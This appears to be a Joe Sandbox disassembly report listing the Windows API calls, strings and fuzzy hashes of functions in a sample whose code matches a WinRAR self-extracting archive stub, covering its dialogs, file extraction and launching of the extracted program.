Opcode Fuzzy Hash: 74530c972737399332223124a51e05b53dd12470047abe4c9997ee6b5fdadc5b
Instruction Fuzzy Hash: 28E1A2716083458FDB24DF28C984B9BBBE1FF88304F4445ADE8899B346D734E985CB92

Function 00B20900 Relevance: 88.4, APIs: 43, Strings: 7, Instructions: 935windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00B2090A

Part of subcall function 00B01E44: GetDlgItem.USER32(00000000,00003021), ref: 00B01E88
Part of subcall function 00B01E44: SetWindowTextW.USER32(00000000,00B3C6C8), ref: 00B01E9E

EndDialog.USER32(?,00000000), ref: 00B20A18
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00B20A57
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B20A71
IsDialogMessageW.USER32(?,?), ref: 00B20A84
TranslateMessage.USER32(?), ref: 00B20A92
DispatchMessageW.USER32(?), ref: 00B20A9C
EndDialog.USER32(?,00000001), ref: 00B20ADE
GetDlgItem.USER32(?,00000068), ref: 00B20B04
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00B20B1F
SendMessageW.USER32(00000000,000000C2,00000000,00B3C6C8), ref: 00B20B32
SetFocus.USER32(00000000), ref: 00B20B39
GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00B20C20
GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00B20C4C
GetTickCount.KERNEL32 ref: 00B20C79
GetLastError.KERNEL32(?,00000011), ref: 00B20CD5
GetCommandLineW.KERNEL32 ref: 00B20DF9
_wcslen.LIBCMT ref: 00B20E06
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,?,winrarsfxmappingfile.tmp,?,00B55430,00000400,00000001,00000001), ref: 00B20E85
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000), ref: 00B20EA3
ShellExecuteExW.SHELL32(0000003C), ref: 00B20EDC
WaitForInputIdle.USER32(?,00002710), ref: 00B20F0B
Sleep.KERNEL32(00000064), ref: 00B20F25
UnmapViewOfFile.KERNEL32(?,?,?,?,?,?,?,00B55430,00000400), ref: 00B20F61
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00B55430,00000400), ref: 00B20F6D
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00B21072

Part of subcall function 00B01E1F: GetDlgItem.USER32(?,?), ref: 00B01E34
Part of subcall function 00B01E1F: ShowWindow.USER32(00000000), ref: 00B01E3B

SetDlgItemTextW.USER32(?,00000065,00B3C6C8), ref: 00B2108A
GetDlgItem.USER32(?,00000065), ref: 00B21093
GetWindowLongW.USER32(00000000,000000F0), ref: 00B210A2
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_000206D0,00000000,?), ref: 00B21422
EndDialog.USER32(?,00000001), ref: 00B21436
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00B210B1

Part of subcall function 00B1E265: __EH_prolog3_GS.LIBCMT ref: 00B1E26C
Part of subcall function 00B1E265: ShowWindow.USER32(?,00000000,00000038), ref: 00B1E294
Part of subcall function 00B1E265: GetWindowRect.USER32(?,?), ref: 00B1E2D8
Part of subcall function 00B1E265: ShowWindow.USER32(?,00000005,?,00000000), ref: 00B1E373

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00B2114F
SendMessageW.USER32(?,00000080,00000001,00070459), ref: 00B21284
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,00050E80), ref: 00B2129D
GetDlgItem.USER32(?,00000068), ref: 00B212A6
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00B212BE
GetDlgItem.USER32(?,00000066), ref: 00B212E6
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00B2135D
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00B21371
EnableWindow.USER32(?,00000000), ref: 00B215A7
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00B215E8
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00B2160D

Part of subcall function 00B21D4F: __EH_prolog3_GS.LIBCMT ref: 00B21D59

Strings

-el -s2 "-d%s" "-sp%s", xrefs: 00B20D75
<, xrefs: 00B20D8E
@, xrefs: 00B20D98
STARTDLG, xrefs: 00B2091C
__tmp_rar_sfx_access_check_, xrefs: 00B20C91
winrarsfxmappingfile.tmp, xrefs: 00B20E71
LICENSEDLG, xrefs: 00B21417

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Item$Message$TextWindow$Send$Dialog$ErrorFileLastShow$H_prolog3_LongView$CloseCommandCountCreateDispatchEnableExecuteFocusH_prolog3_catch_HandleIdleInputLineMappingParamRectShellSleepTickTranslateUnmapWait_wcslen
String ID: -el -s2 "-d%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_$winrarsfxmappingfile.tmp
API String ID: 3616063595-3000381960
Opcode ID: 8979191c656d2815237007749faf82bb97f260ce3440df89e546f23695c72be0
Instruction ID: 685a7b5044d7f2b2b13d3e2cc6825fe9e93e3cccedae4173219deffa5282160a
Opcode Fuzzy Hash: 8979191c656d2815237007749faf82bb97f260ce3440df89e546f23695c72be0
Instruction Fuzzy Hash: B972C470950358EEEB24EBA4EC49BEE7BF9AB11702F0044D5F509B71D2DBB45A84CB21

Function 00B16D7B Relevance: 40.6, APIs: 16, Strings: 7, Instructions: 394
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32,5EA84158), ref: 00B16DC7
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00B16DD9
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00B16E03
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B170CA
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B170DF
ReadFile.KERNEL32(00000000,?,00007FFE,?,00000000), ref: 00B170FF
CloseHandle.KERNEL32(00000000), ref: 00B17187
CompareStringW.KERNEL32(00000400,00001001,?,000000FF,DXGIDebug.dll,000000FF,?,?,?), ref: 00B171F8
AllocConsole.KERNEL32 ref: 00B1735E
GetCurrentProcessId.KERNEL32 ref: 00B17368
AttachConsole.KERNEL32(00000000), ref: 00B1736F
GetStdHandle.KERNEL32(000000F4,00000000,00000000,?,00000000), ref: 00B1738F
WriteConsoleW.KERNEL32(00000000), ref: 00B17396
Sleep.KERNEL32(00002710), ref: 00B173A1
FreeConsole.KERNEL32 ref: 00B173A7
ExitProcess.KERNEL32 ref: 00B173B7

Strings

DXGIDebug.dll, xrefs: 00B16E37, 00B171E0
SetDefaultDllDirectories, xrefs: 00B16DFD
uxtheme.dll, xrefs: 00B172BD
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00B1734E
SetDllDirectoryW, xrefs: 00B16DD3
kernel32, xrefs: 00B16DBE
dwmapi.dll, xrefs: 00B16E6C, 00B172B3

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Console$FileHandle$AddressProcProcess$AllocAttachCloseCompareCreateCurrentExitFreeModulePointerReadSleepStringWrite
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 2644799563-3298887752
Opcode ID: 2eea7bf3036519e155a6af5c6b0fd12b67003544dc8d6c3b38043fb9bec01a73
Instruction ID: 69ca7304b3019a77c6eb2c83bdef8ee37c79b4fad38810ebb621dfab2561cf43
Opcode Fuzzy Hash: 2eea7bf3036519e155a6af5c6b0fd12b67003544dc8d6c3b38043fb9bec01a73
Instruction Fuzzy Hash: FEF1807240428CEBCB24DFA4DC49BDE3BE9FF05304F604599F919AB291DB709A49CB91

Function 00B23572 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 106
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B20678: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B20689
Part of subcall function 00B20678: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B2069A
Part of subcall function 00B20678: IsDialogMessageW.USER32(00010460,?), ref: 00B206AE
Part of subcall function 00B20678: TranslateMessage.USER32(?), ref: 00B206BC
Part of subcall function 00B20678: DispatchMessageW.USER32(?), ref: 00B206C6

GetDlgItem.USER32(00000068,00000000), ref: 00B23595
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,?,?,?,00B1FD20,00000001,?,?), ref: 00B235BA
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00B235C9
SendMessageW.USER32(00000000,000000C2,00000000,00B3C6C8), ref: 00B235D7
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00B235F1
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00B2360B
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00B2364F
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00B23662
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00B23675
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00B2369C
SendMessageW.USER32(00000000,000000C2,00000000,00B3C860), ref: 00B236AB

Strings

\, xrefs: 00B235FB

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 33b01fee673ca37801bc96b710152a333d321c5a13737f1c4cea7d0165fa5997
Instruction ID: 56f0930f77adcb2b2c3d87a01515ed38e5e57f616f1eb7ef333ea178b0dfd83f
Opcode Fuzzy Hash: 33b01fee673ca37801bc96b710152a333d321c5a13737f1c4cea7d0165fa5997
Instruction Fuzzy Hash: 0D31C371289B00BFE3119F20EC49F6B7BECEB55702F0005D9FA55A71A1DFB499048BA6

Function 00B238A0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 291
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00B238A7
ShellExecuteExW.SHELL32(?), ref: 00B23AA4
IsWindowVisible.USER32(?), ref: 00B23ACF
ShowWindow.USER32(?,00000000), ref: 00B23ADD
WaitForInputIdle.USER32(?,000007D0), ref: 00B23AED
GetExitCodeProcess.KERNEL32(?,?), ref: 00B23B0F
CloseHandle.KERNEL32(?), ref: 00B23B33
ShowWindow.USER32(?,00000001), ref: 00B23B76

Strings

.exe, xrefs: 00B23B3D
.inf, xrefs: 00B23A13

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitH_prolog3_HandleIdleInputProcessShellVisibleWait
String ID: .exe$.inf
API String ID: 3208621885-3750412487
Opcode ID: 7244f64b9efb63d1cf8ad197058fb645f16b0b559b516735309049b61f772c67
Instruction ID: 7549710bc76546d1d539fec8b0630542ec149532f09642d06e1d882329aa72fa
Opcode Fuzzy Hash: 7244f64b9efb63d1cf8ad197058fb645f16b0b559b516735309049b61f772c67
Instruction Fuzzy Hash: D4B1C231A00368DFCB25DF64E8887ED77F5EF45B10F244199E849A7290DB78AE85CB50

Function 00B23EFC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00B23F03
SetEnvironmentVariableW.KERNELBASE(sfxcmd,?,?,?,?,?,?,00000028), ref: 00B23F1B
SetEnvironmentVariableW.KERNEL32(sfxpar,?,?,?,?,?,?,?,00000028), ref: 00B23F86

Strings

sfxpar, xrefs: 00B23F81
sfxcmd, xrefs: 00B23F16

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: EnvironmentVariable$H_prolog3_
String ID: sfxcmd$sfxpar
API String ID: 3605364767-3493335439
Opcode ID: 90a86d7f4d820e8045183537ba76a86168b3c57f79198dad3285c33a8a503825
Instruction ID: 4521593ae3589f891dbf2cc83740da31ffbc0150c990fc972697733d96c302b1
Opcode Fuzzy Hash: 90a86d7f4d820e8045183537ba76a86168b3c57f79198dad3285c33a8a503825
Instruction Fuzzy Hash: 9B21F670D11228DBCB14DFA8EA859EDB7F9EB48700F60445AF449F7250DB34AA45CB64

Function 00B1F4D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B16C5E: __EH_prolog3_GS.LIBCMT ref: 00B16C65
Part of subcall function 00B16C5E: GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 00B16C9A

OleInitialize.OLE32(00000000), ref: 00B1F4ED
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00B1F524
SHGetMalloc.SHELL32(00B5532C), ref: 00B1F52E

Strings

3Ro, xrefs: 00B1F505
riched20.dll, xrefs: 00B1F4DC

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: DirectoryGdiplusH_prolog3_InitializeMallocStartupSystem
String ID: riched20.dll$3Ro
API String ID: 2446841611-3613677438
Opcode ID: 9abcf3389e2b1704ba2f62c6837cbbb6fa143cb5eb061474e46e0fdbd147e38f
Instruction ID: 45f5a4615603d37016fe85a59cd31bf80d95a800faf8f59c013127eeb784764c
Opcode Fuzzy Hash: 9abcf3389e2b1704ba2f62c6837cbbb6fa143cb5eb061474e46e0fdbd147e38f
Instruction Fuzzy Hash: B5F0FFB5D40209ABCB50AF99D849ADEFBFCEF94701F104096E415A2250DBB456458BA1

Function 00B0E180 Relevance: 7.7, APIs: 5, Instructions: 183
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,00000001,00000000,00000000,00000003,08000000,00000000,5EA84158,?,?,00000000,?,?,00000000,00B39E6B,000000FF), ref: 00B0E248
GetLastError.KERNEL32(?,?,00000000,00B39E6B,000000FF,?,00000011,?,?,00000000,?,?,?,?,?,?), ref: 00B0E25A
CreateFileW.KERNEL32(?,00000001,00000000,00000000,00000003,08000000,00000000,?,?,?,?,00000000,00B39E6B,000000FF,?,00000011), ref: 00B0E2A6
GetLastError.KERNEL32(?,?,00000000,00B39E6B,000000FF,?,00000011,?,?,00000000,?,?,?,?,?,?), ref: 00B0E2AF
SetFileTime.KERNEL32(00000000,00000000,?,00000000,?,?,00000000,00B39E6B,000000FF,?,00000011,?,?,00000000,?,?), ref: 00B0E346

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: cb94bd37e545a17de51d81d8764f2a3c2b3599236b206c8d93ab235246d54a58
Instruction ID: 4bbc6d6cb89287a053885ace658f543fd21c20651f72e47fbc2d8b6688a2aa98
Opcode Fuzzy Hash: cb94bd37e545a17de51d81d8764f2a3c2b3599236b206c8d93ab235246d54a58
Instruction Fuzzy Hash: 43617B71904249AFDB24CFA4D885BEE7FE4FB08314F204A6AF825A72D0D774E944CB94

Function 00B174EC Relevance: 7.5, APIs: 5, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B177CF: ResetEvent.KERNEL32(?,?,?,?,?,?,?,?,00000004,00B073B8), ref: 00B177E1
Part of subcall function 00B177CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,00000004,00B073B8), ref: 00B177F5

ReleaseSemaphore.KERNEL32(?,00000040,00000000,5EA84158,?,?,00000001,00000000,00B3A603,000000FF,?,00B190B9,?,?,00B05630,?), ref: 00B1752A
CloseHandle.KERNELBASE(?,?,?,00B190B9,?,?,00B05630,?,?,?,00000000,?,?,?,00000001,?), ref: 00B17544
DeleteCriticalSection.KERNEL32(?,?,00B190B9,?,?,00B05630,?,?,?,00000000,?,?,?,00000001,?,?), ref: 00B1755D
CloseHandle.KERNEL32(?,?,00B190B9,?,?,00B05630,?,?,?,00000000,?,?,?,00000001,?,?), ref: 00B17569
CloseHandle.KERNEL32(?,?,00B190B9,?,?,00B05630,?,?,?,00000000,?,?,?,00000001,?,?), ref: 00B17575

Part of subcall function 00B175ED: WaitForSingleObject.KERNEL32(?,000000FF,00B1770A,?,?,00B1777F,?,?,?,?,?,00B17769), ref: 00B175F3
Part of subcall function 00B175ED: GetLastError.KERNEL32(?,?,00B1777F,?,?,?,?,?,00B17769), ref: 00B175FF

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 3e9db0d7f3ca7dc11f4f9d1bea916a329a0e3c18325b7b669679d28a559547c0
Instruction ID: 73a209f2ad77305a87bc78f98b3bb01a327ec95c5d355e4369c2653619369511
Opcode Fuzzy Hash: 3e9db0d7f3ca7dc11f4f9d1bea916a329a0e3c18325b7b669679d28a559547c0
Instruction Fuzzy Hash: 44118E76004744EFC7229FA4DC85BCAFBF9FB08710F504929E156A31A0CF71A9408B60

Function 00B20678 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B20689
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B2069A
IsDialogMessageW.USER32(00010460,?), ref: 00B206AE
TranslateMessage.USER32(?), ref: 00B206BC
DispatchMessageW.USER32(?), ref: 00B206C6

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 7b3fabce0379df4c4295b7a42e25cc06c06c0ec4c0d127f8dbb9cdfedc00fa02
Instruction ID: 7a9f10c5719d62b1f9b24f24109eccfcbe62c42ec1be48518032c1abafb85872
Opcode Fuzzy Hash: 7b3fabce0379df4c4295b7a42e25cc06c06c0ec4c0d127f8dbb9cdfedc00fa02
Instruction Fuzzy Hash: 51F0B271A0532AABDB20ABE1FC4CEDB7FECEE452527444455B50AD3051EE24D505C7B0

Function 00B22813 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 251
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00B228B3

Strings

MIN, xrefs: 00B229A4
MAX, xrefs: 00B22970
HIDE, xrefs: 00B2293D

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: _wcslen
String ID: HIDE$MAX$MIN
API String ID: 176396367-2426493550
Opcode ID: 02cd1a1e28bffd06a57fc244c93c94844c36461a8d3954148ed7c19863613383
Instruction ID: de1953efcf1db7fa8374997e5551dec1e12edd108520cbaa05beec3e750fdf0a
Opcode Fuzzy Hash: 02cd1a1e28bffd06a57fc244c93c94844c36461a8d3954148ed7c19863613383
Instruction Fuzzy Hash: 1FA17C72C00268DECF25DBA4DC85ADDBBF9BF49314F1405DAE809F7281DA359A89CB50

Function 00B1F2CE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00B1F2EF
SHAutoComplete.SHLWAPI(?,00000010), ref: 00B1F326

Part of subcall function 00B18DA4: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,000000FF,00B10E3F,?,?,?,00000046,00B11ECE,00000046,?,exe,00000046), ref: 00B18DBA

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00B1F316

Strings

EDIT, xrefs: 00B1F2FA, 00B1F305, 00B1F312

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: cea28203f2dfbce7b0f35ba3935967a3d4709a6ee081a038add3980aaa474608
Instruction ID: 6be045183fcfed13e7da8502fe05ac3fa94a76de5f031fa4c6aed8c21918d9ec
Opcode Fuzzy Hash: cea28203f2dfbce7b0f35ba3935967a3d4709a6ee081a038add3980aaa474608
Instruction Fuzzy Hash: 90F0A431701219ABDB209B24AD05FEF77ECDF45B10F4400A5BA00E71D0DE70AE45C6A9

Function 00B0E948 Relevance: 6.1, APIs: 4, Instructions: 117
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0E94F
GetStdHandle.KERNEL32(000000F5,0000002C,00B12D28,?,?,?,?,00000000,00B1ABB6,?,?,?,?,?,00B1A80E,?), ref: 00B0E978
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00B0E9BE

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: FileH_prolog3_HandleWrite
String ID:
API String ID: 2898186245-0
Opcode ID: 7da32f337c1caac49664baed558513faa52ebbd79e8236a80c0b0de72cae75d3
Instruction ID: e21af64d3050cb83e447adb06cad3af4e1dbfe84eed86771c3b51d65e4c58204
Opcode Fuzzy Hash: 7da32f337c1caac49664baed558513faa52ebbd79e8236a80c0b0de72cae75d3
